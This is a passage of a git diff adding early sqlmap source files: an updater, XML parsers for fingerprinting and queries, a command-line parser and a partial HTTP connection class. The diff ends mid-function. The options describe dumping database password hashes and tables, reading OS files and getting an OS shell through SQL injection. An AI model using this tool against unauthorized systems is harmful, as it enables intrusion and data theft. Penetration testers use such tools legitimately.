file + shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML) + + # Save our newly created XML to the signatures file + mssqlXml = open(paths.MSSQL_XML, "w") + doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") + mssqlXml.close() + + # Get the XML new file content to a local variable + mssqlXml = open(paths.MSSQL_XML, "r") + newMssqlXml = mssqlXml.read() + newMssqlXmlSignatures = newMssqlXml.count("<signature>") + newMssqlXmlList = newMssqlXml.splitlines(1) + mssqlXml.close() + + # If the new XML versions file differs from the old one it probably + # means that we have got new Microsoft SQL Server versions + if oldMssqlXmlSignatures != newMssqlXmlSignatures: + infoMsg = "Microsoft SQL Server XML versions file updated successfully. " + + if oldMssqlXmlSignatures < newMssqlXmlSignatures: + infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures) + infoMsg += "new signatures added since the last update" + + # NOTE: This should never happen, in this rare case it might + # be that the Microsoft SQL Server versions database + # (MSSQL_VERSIONS_URL) changed its structure + else: + infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures) + infoMsg += "signatures removed since the last update" + + logger.info(infoMsg) + + message = "Do you want to see the differences? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + infoMsg = "Differences:" + logger.info(infoMsg) + + # Compare the old XML file with the new one + differ = difflib.Differ() + differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList)) + + # Show only the different lines + for line in differences: + if line.startswith("-") or line.startswith("+") or line.startswith("?"): + print line.strip("\n") + else: + infoMsg = "no new Microsoft SQL Server versions since the " + infoMsg += "last update" + logger.info(infoMsg) + + +def __createFile(pathname, data): + mkpath(os.path.dirname(pathname)) + fileFP = open(pathname, "wb") + fileFP.write(data) + fileFP.close() + + +def __extractZipFile(zipFile): + # Check if the saved binary file is really a ZIP file + if zipfile.is_zipfile(zipFile): + sqlmapZipFile = zipfile.ZipFile(zipFile) + else: + raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile" + + # Create a temporary directory + tempDir = tempfile.mkdtemp("", "sqlmap_latest-") + + # Extract each file within the ZIP file in the temporary directory + for info in sqlmapZipFile.infolist(): + if info.filename[-1] != '/': + data = sqlmapZipFile.read(info.filename) + __createFile(os.path.join(tempDir, info.filename), data) + + return tempDir + + +def __updateSqlmap(): + infoMsg = "updating sqlmap" + logger.info(infoMsg) + + debugMsg = "checking if a new version is available" + logger.debug(debugMsg) + + try: + sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True) + except sqlmapConnectionException, _: + __sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL) + __sqlmapHostname = __sqlmapPath[1] + + warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname + warnMsg += ", check your Internet connection and retry" + logger.warn(warnMsg) + + return + + sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "") + + if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion): + errMsg = "sqlmap version is in a wrong syntax" + logger.errMsg(errMsg) + + return + + if sqlmapNewestVersion == VERSION: + infoMsg = "you are already running sqlmap latest stable version" + logger.info(infoMsg) + + return + else: + infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion + infoMsg += "Going to download it from the SourceForge File List page" + logger.info(infoMsg) + + sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion + + try: + sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True) + except sqlmapConnectionException, _: + __sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl) + __sqlmapHostname = __sqlmapPath[1] + + warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname + warnMsg += ", check your Internet connection and retry" + logger.warn(warnMsg) + + return + + # Save the sqlmap compressed source to a ZIP file in a temporary + # directory and extract it + zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion) + __createFile(zipFile, sqlmapBinaryString) + tempDir = __extractZipFile(zipFile) + + # For each file and directory in the temporary directory copy it + # to the sqlmap root path and set right permission + # TODO: remove files not needed anymore and all pyc within the + # sqlmap root path in the end + for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")): + # Just for development release + if '.svn' in dirs: + dirs.remove('.svn') + + cleanRoot = root.replace(tempDir, "") + cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "") + + if cleanRoot.startswith("/"): + cleanRoot = cleanRoot[1:] + + for f in files: + # Just for development release + if f.endswith(".pyc") or f.endswith(".pyo"): + continue + + srcFile = os.path.join(root, f) + dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f)) + + if os.path.exists(dstFile): + debugMsg = "replacing file '%s'" % dstFile + else: + debugMsg = "creating new file '%s'" % dstFile + + logger.debug(debugMsg) + + if f == "sqlmap.conf" and os.path.exists(dstFile): + infoMsg = "backupping configuration file to '%s.bak'" % dstFile + logger.info(infoMsg) + shutil.move(dstFile, "%s.bak" % dstFile) + + mkpath(os.path.dirname(dstFile)) + shutil.copy(srcFile, dstFile) + + if f.endswith(".py"): + os.chmod(dstFile, 0755) + + infoMsg = "sqlmap updated successfully" + logger.info(infoMsg) + + +def update(): + if not conf.updateAll: + return + + __updateSqlmap() + __updateMSSQLXML() diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/parse/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/parse/banner.py b/lib/parse/banner.py new file mode 100644 index 000000000..fec8ec183 --- /dev/null +++ b/lib/parse/banner.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python + +""" +$Id: banner.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from xml.sax import parse +from xml.sax.handler import ContentHandler + +from lib.core.common import checkFile +from lib.core.common import sanitizeStr + + +class bannerHandler(ContentHandler): + """ + This class defines methods to parse and extract information from + the given DBMS banner based upon the data in XML file + """ + + def __init__(self, banner): + self.__banner = sanitizeStr(banner) + self.release = None + self.version = None + self.servicePack = None + self.__inVersion = False + self.__inServicePack = False + self.__release = None + self.__version = "" + self.__servicePack = "" + + + def startElement(self, name, attrs): + if name == "signatures": + self.__release = sanitizeStr(attrs.get("release")) + + elif name == "version": + self.__inVersion = True + + elif name == "servicepack": + self.__inServicePack = True + + + def characters(self, data): + if self.__inVersion: + self.__version += sanitizeStr(data) + elif self.__inServicePack: + self.__servicePack += sanitizeStr(data) + + + def endElement(self, name): + if name == "signature": + if re.search(" %s[\.\ ]+" % self.__version, self.__banner): + self.release = self.__release + self.version = self.__version + self.servicePack = self.__servicePack + + self.__version = "" + self.__servicePack = "" + + + elif name == "version": + self.__inVersion = False + self.__version = self.__version.replace(" ", "") + + elif name == "servicepack": + self.__inServicePack = False + self.__servicePack = self.__servicePack.replace(" ", "") + + + +def bannerParser(banner, xmlfile): + """ + This function calls a class to extract information from the given + DBMS banner based upon the data in XML file + """ + + checkFile(xmlfile) + banner = sanitizeStr(banner) + handler = bannerHandler(banner) + parse(xmlfile, handler) + + return handler.release, handler.version, handler.servicePack diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py new file mode 100644 index 000000000..8dd642e9a --- /dev/null +++ b/lib/parse/cmdline.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python + +""" +$Id: cmdline.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from optparse import OptionError +from optparse import OptionGroup +from optparse import OptionParser + +from lib.core.data import logger +from lib.core.settings import VERSION_STRING + + +def cmdLineParser(): + """ + This function parses the command line parameters and arguments + """ + + usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}" + parser = OptionParser(usage=usage, version=VERSION_STRING) + + try: + # Request options + request = OptionGroup(parser, "Request", "These options have to " + "be specified to set the target url, HTTP " + "method, how to connect to the target url " + "or Google dorking results in general.") + + request.add_option("-u", "--url", dest="url", help="Target url") + + request.add_option("-g", dest="googleDork", + help="Process Google dork results as target urls") + + request.add_option("-p", dest="testParameter", + help="Testable parameter(s)") + + request.add_option("--method", dest="method", default="GET", + help="HTTP method, GET or POST (default: GET)") + + request.add_option("--data", dest="data", + help="Data string to be sent through POST") + + request.add_option("--cookie", dest="cookie", + help="HTTP Cookie header") + + request.add_option("--referer", dest="referer", + help="HTTP Referer header") + + request.add_option("--user-agent", dest="agent", + help="HTTP User-Agent header") + + request.add_option("-a", dest="userAgentsFile", + help="Load a random HTTP User-Agent " + "header from file") + + request.add_option("--auth-type", dest="aType", + help="HTTP Authentication type, value: " + "Basic or Digest") + + request.add_option("--auth-cred", dest="aCred", + help="HTTP Authentication credentials, value: " + "name:password") + + request.add_option("--proxy", dest="proxy", + help="Use a HTTP proxy to connect to the target url") + + request.add_option("--threads", dest="threads", type="int", + help="Maximum number of concurrent HTTP " + "requests (default 1)") + + # Injection options + injection = OptionGroup(parser, "Injection") + + injection.add_option("--string", dest="string", + help="String to match in page when the " + "query is valid") + + injection.add_option("--dbms", dest="dbms", + help="Force back-end DBMS to this value") + + # Fingerprint options + fingerprint = OptionGroup(parser, "Fingerprint") + + fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", + action="store_true", + help="Perform an extensive database fingerprint") + + # Enumeration options + enumeration = OptionGroup(parser, "Enumeration", "These options can " + "be used to enumerate the back-end database " + "management system information, structure " + "and data contained in the tables. Moreover " + "you can run your own SQL SELECT queries.") + + enumeration.add_option("-b", "--banner", dest="getBanner", + action="store_true", help="Retrieve DBMS banner") + + enumeration.add_option("--current-user", dest="getCurrentUser", + action="store_true", + help="Retrieve DBMS current user") + + enumeration.add_option("--current-db", dest="getCurrentDb", + action="store_true", + help="Retrieve DBMS current database") + + enumeration.add_option("--users", dest="getUsers", action="store_true", + help="Enumerate DBMS users") + + enumeration.add_option("--passwords", dest="getPasswordHashes", + action="store_true", + help="Enumerate DBMS users password hashes (opt: -U)") + + enumeration.add_option("--privileges", dest="getPrivileges", + action="store_true", + help="Enumerate DBMS users privileges (opt: -U)") + + enumeration.add_option("--dbs", dest="getDbs", action="store_true", + help="Enumerate DBMS databases") + + enumeration.add_option("--tables", dest="getTables", action="store_true", + help="Enumerate DBMS database tables (opt: -D)") + + enumeration.add_option("--columns", dest="getColumns", action="store_true", + help="Enumerate DBMS database table columns " + "(req: -T, -D)") + + enumeration.add_option("--dump", dest="dumpTable", action="store_true", + help="Dump DBMS database table entries " + "(req: -T, -D opt: -C)") + + enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", + help="Dump all DBMS databases tables entries") + + enumeration.add_option("-D", dest="db", + help="DBMS database to enumerate") + + enumeration.add_option("-T", dest="tbl", + help="DBMS database table to enumerate") + + enumeration.add_option("-C", dest="col", + help="DBMS database table column to enumerate") + + enumeration.add_option("-U", dest="user", + help="DBMS user to enumerate") + + enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", + action="store_true", + help="Exclude DBMS system databases when " + "enumerating tables") + + enumeration.add_option("--start", dest="limitStart", type="int", + help="First table entry to dump") + + enumeration.add_option("--stop", dest="limitStop", type="int", + help="Last table entry to dump") + + enumeration.add_option("--sql-query", dest="query", + help="SQL SELECT query to be executed") + + enumeration.add_option("--sql-shell", dest="sqlShell", + action="store_true", + help="Prompt for an interactive SQL shell") + + # File system options + filesystem = OptionGroup(parser, "File system access", "These options " + "can be used to access the back-end database " + "management system file system taking " + "advantage of native DBMS functions or " + "specific DBMS design weaknesses.") + + filesystem.add_option("--read-file", dest="rFile", + help="Read a specific OS file content (only on MySQL)") + + filesystem.add_option("--write-file", dest="wFile", + help="Write to a specific OS file (not yet available)") + + # Takeover options + takeover = OptionGroup(parser, "Operating system access", "This " + "option can be used to access the back-end " + "database management system operating " + "system taking advantage of specific DBMS " + "design weaknesses.") + + takeover.add_option("--os-shell", dest="osShell", action="store_true", + help="Prompt for an interactive OS shell " + "(only on PHP/MySQL environment with a " + "writable directory within the web " + "server document root for the moment)") + + # Miscellaneous options + miscellaneous = OptionGroup(parser, "Miscellaneous") + + miscellaneous.add_option("--union-test", dest="unionTest", + action="store_true", + help="Test for UNION SELECT (inband) SQL injection") + + miscellaneous.add_option("--union-use", dest="unionUse", + action="store_true", + help="Use the UNION SELECT (inband) SQL injection " + "to retrieve the queries output. No " + "need to go blind") + + miscellaneous.add_option("--eta", dest="eta", action="store_true", + help="Retrieve each query output length and " + "calculate the estimated time of arrival " + "in real time") + + miscellaneous.add_option("-v", dest="verbose", type="int", + help="Verbosity level: 0-5 (default 0)") + + miscellaneous.add_option("--update", dest="updateAll", action="store_true", + help="Update sqlmap to the latest stable version") + + miscellaneous.add_option("-s", dest="sessionFile", + help="Save and resume all data retrieved " + "on a session file") + + miscellaneous.add_option("-c", dest="configFile", + help="Load options from a configuration INI file") + + miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", + help="Save options on a configuration INI file") + + miscellaneous.add_option("--batch", dest="batch", action="store_true", + help="Never ask for user input, use the default behaviour") + + parser.add_option_group(request) + parser.add_option_group(injection) + parser.add_option_group(fingerprint) + parser.add_option_group(enumeration) + parser.add_option_group(filesystem) + parser.add_option_group(takeover) + parser.add_option_group(miscellaneous) + + (args, _) = parser.parse_args() + + if not args.url and not args.googleDork and not args.configFile and not args.updateAll: + errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), " + errMsg += "-h for help" + parser.error(errMsg) + + return args + except (OptionError, TypeError), e: + parser.error(e) + + debugMsg = "parsing command line" + logger.debug(debugMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py new file mode 100644 index 000000000..5bb0ba21a --- /dev/null +++ b/lib/parse/configfile.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python + +""" +$Id: configfile.py 261 2008-07-21 11:33:49Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from ConfigParser import NoSectionError +from ConfigParser import SafeConfigParser + +from lib.core.common import checkFile +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.optiondict import optDict + + +config = None + + +def configFileProxy(section, option, boolean=False, integer=False): + """ + Parse configuration file and save settings into the configuration + advanced dictionary. + """ + + global config + + if config.has_option(section, option): + if boolean: + value = config.getboolean(section, option) + elif integer: + value = config.getint(section, option) + else: + value = config.get(section, option) + + if value: + conf[option] = value + else: + conf[option] = None + else: + debugMsg = "missing requested option '%s' (section " % option + debugMsg += "'%s') into the configuration file, " % section + debugMsg += "ignoring. Skipping to next." + logger.debug(debugMsg) + + +def configFileParser(configFile): + """ + Parse configuration file and save settings into the configuration + advanced dictionary. + """ + + global config + + debugMsg = "parsing configuration file" + logger.debug(debugMsg) + + checkFile(configFile) + config = SafeConfigParser() + config.read(configFile) + + if not config.has_section("Request"): + raise NoSectionError, "Request in the configuration file is mandatory" + + if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"): + errMsg = "missing a mandatory option in the configuration " + errMsg += "file (url or googleDork)" + raise sqlmapMissingMandatoryOptionException, errMsg + + + for family, optionData in optDict.items(): + for option, data in optionData.items(): + boolean = False + integer = False + + if data == "boolean": + boolean = True + elif data == "integer": + integer = True + + configFileProxy(family, option, boolean, integer) diff --git a/lib/parse/html.py b/lib/parse/html.py new file mode 100644 index 000000000..77e33dbd4 --- /dev/null +++ b/lib/parse/html.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +$Id: html.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from xml.sax import parse +from xml.sax.handler import ContentHandler + +from lib.core.common import checkFile +from lib.core.common import sanitizeStr + + +class htmlHandler(ContentHandler): + """ + This class defines methods to parse the input HTML page to + fingerprint the back-end database management system + """ + + def __init__(self, page): + self.__dbms = None + self.__page = page + self.__regexp = None + self.__match = None + + self.dbms = None + + + def startElement(self, name, attrs): + if name == "dbms": + self.__dbms = attrs.get("value") + + if name == "error": + self.__regexp = attrs.get("regexp") + self.__match = re.search(self.__regexp, self.__page, re.I) + + if self.__match: + self.dbms = self.__dbms + self.__match = None + + +def htmlParser(page, xmlfile): + """ + This function calls a class that parses the input HTML page to + fingerprint the back-end database management system + """ + + checkFile(xmlfile) + page = sanitizeStr(page) + handler = htmlHandler(page) + parse(xmlfile, handler) + + return handler.dbms diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py new file mode 100644 index 000000000..695beb066 --- /dev/null +++ b/lib/parse/queriesfile.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python + +""" +$Id: queriesfile.py 343 2008-08-30 01:12:18Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from xml.sax import parse +from xml.sax.handler import ContentHandler + +from lib.core.common import checkFile +from lib.core.common import sanitizeStr +from lib.core.data import logger +from lib.core.data import queries +from lib.core.data import paths +from lib.core.datatype import advancedDict + + +class queriesHandler(ContentHandler): + """ + This class defines methods to parse the default DBMS queries + from an XML file + """ + + def __init__(self): + self.__dbms = '' + self.__queries = advancedDict() + + + def startElement(self, name, attrs): + if name == "dbms": + data = sanitizeStr(attrs.get("value")) + self.__dbms = data + + elif name == "cast": + data = sanitizeStr(attrs.get("query")) + self.__queries.cast = data + + elif name == "length": + data = sanitizeStr(attrs.get("query")) + self.__queries.length = data + + elif name == "isnull": + data = sanitizeStr(attrs.get("query")) + self.__queries.isnull = data + + elif name == "delimiter": + data = sanitizeStr(attrs.get("query")) + self.__queries.delimiter = data + + elif name == "limit": + data = sanitizeStr(attrs.get("query")) + self.__queries.limit = data + + elif name == "limitregexp": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitregexp = data + + elif name == "limitgroupstart": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitgroupstart = data + + elif name == "limitgroupstop": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitgroupstop = data + + elif name == "limitstring": + data = sanitizeStr(attrs.get("query")) + self.__queries.limitstring = data + + elif name == "order": + data = sanitizeStr(attrs.get("query")) + self.__queries.order = data + + elif name == "count": + data = sanitizeStr(attrs.get("query")) + self.__queries.count = data + + elif name == "substring": + data = sanitizeStr(attrs.get("query")) + self.__queries.substring = data + + elif name == "inference": + data = sanitizeStr(attrs.get("query")) + self.__queries.inference = data + + elif name == "banner": + data = sanitizeStr(attrs.get("query")) + self.__queries.banner = data + + elif name == "current_user": + data = sanitizeStr(attrs.get("query")) + self.__queries.currentUser = data + + elif name == "current_db": + data = sanitizeStr(attrs.get("query")) + self.__queries.currentDb = data + + elif name == "inband": + self.__inband = sanitizeStr(attrs.get("query")) + self.__inband2 = sanitizeStr(attrs.get("query2")) + self.__condition = sanitizeStr(attrs.get("condition")) + self.__condition2 = sanitizeStr(attrs.get("condition2")) + + elif name == "blind": + self.__blind = sanitizeStr(attrs.get("query")) + self.__blind2 = sanitizeStr(attrs.get("query2")) + self.__count = sanitizeStr(attrs.get("count")) + self.__count2 = sanitizeStr(attrs.get("count2")) + + + def endElement(self, name): + if name == "dbms": + queries[self.__dbms] = self.__queries + self.__queries = advancedDict() + + elif name == "users": + self.__users = {} + self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 } + self.__users["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.users = self.__users + + elif name == "passwords": + self.__passwords = {} + self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition } + self.__passwords["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.passwords = self.__passwords + + elif name == "privileges": + self.__privileges = {} + self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 } + self.__privileges["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.privileges = self.__privileges + + elif name == "dbs": + self.__dbs = {} + self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 } + self.__dbs["blind"] = { "query": self.__blind, "query2": self.__blind2, + "count": self.__count, "count2": self.__count2 } + + self.__queries.dbs = self.__dbs + + elif name == "tables": + self.__tables = {} + self.__tables["inband"] = { "query": self.__inband, "condition": self.__condition } + self.__tables["blind"] = { "query": self.__blind, "count": self.__count } + + self.__queries.tables = self.__tables + + elif name == "columns": + self.__columns = {} + self.__columns["inband"] = { "query": self.__inband } + self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count } + + self.__queries.columns = self.__columns + + elif name == "dump_table": + self.__dumpTable = {} + self.__dumpTable["inband"] = { "query": self.__inband } + self.__dumpTable["blind"] = { "query": self.__blind, "count": self.__count } + + self.__queries.dumpTable = self.__dumpTable + + +def queriesParser(): + """ + This function calls a class to parse the default DBMS queries + from an XML file + """ + + debugMsg = "parsing XML queries file" + logger.debug(debugMsg) + + xmlfile = paths.QUERIES_XML + + checkFile(xmlfile) + handler = queriesHandler() + parse(xmlfile, handler) diff --git a/lib/request/__init__.py b/lib/request/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/request/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/request/basic.py b/lib/request/basic.py new file mode 100644 index 000000000..904f9988d --- /dev/null +++ b/lib/request/basic.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +""" +$Id: basic.py 247 2008-07-19 23:07:26Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import paths +from lib.parse.html import htmlParser + + +def forgeHeaders(cookie, ua): + """ + Prepare HTTP Cookie and HTTP User-Agent headers to use when performing + the HTTP requests + """ + + headers = {} + + for header, value in conf.httpHeaders: + if cookie and header == "Cookie": + headers[header] = cookie + elif ua and header == "User-Agent": + headers[header] = ua + else: + headers[header] = value + + return headers + + +def parsePage(page): + """ + @param page: the page to parse to feed the knowledge base htmlFp + (back-end DBMS fingerprint based upon DBMS error messages return + through the web application) list and absFilePaths (absolute file + paths) set. + + @todo: in the future parse the page content scrolling an XML file to + identify the dynamic language used and, most, the absolute path, + like for DBMS error messages (ERRORS_XML), see above. + """ + + if not page: + return + + htmlParsed = htmlParser(page, paths.ERRORS_XML) + + if htmlParsed and htmlParsed not in kb.htmlFp: + kb.htmlFp.append(htmlParsed) + + # Detect injectable page absolute system path + # NOTE: this regular expression works if the remote web application + # is written in PHP and debug/error messages are enabled. + absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I) + + for absFilePath in absFilePaths: + if absFilePath not in kb.absFilePaths: + kb.absFilePaths.add(absFilePath) diff --git a/lib/request/connect.py b/lib/request/connect.py new file mode 100644 index 000000000..19bcc32a6 --- /dev/null +++ b/lib/request/connect.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python + +""" +$Id: connect.py 280 2008-07-25 13:33:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import md5 +import re +import urllib2 +import urlparse + +from lib.contrib import multipartpost +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapConnectionException +from lib.request.basic import forgeHeaders +from lib.request.basic import parsePage + + + +class Connect: + """ + This class defines methods used to perform HTTP requests + """ + + @staticmethod + def getPage(**kwargs): + """ + This method connects to the target url or proxy and returns + the target url page content + """ + + url = kwargs.get('url', conf.url).replace(" ", "%20") + get = kwargs.get('get', None) + post = kwargs.get('post', None) + cookie = kwargs.get('cookie', None) + ua = kwargs.get('ua', None) + direct = kwargs.get('direct', False) + multipart = kwargs.get('multipart', False) + + cookieStr = "" + requestMsg = "HTTP request:\n%s " % conf.method + responseMsg = "HTTP response " + requestHeaders = "" + responseHeaders = "" + + if 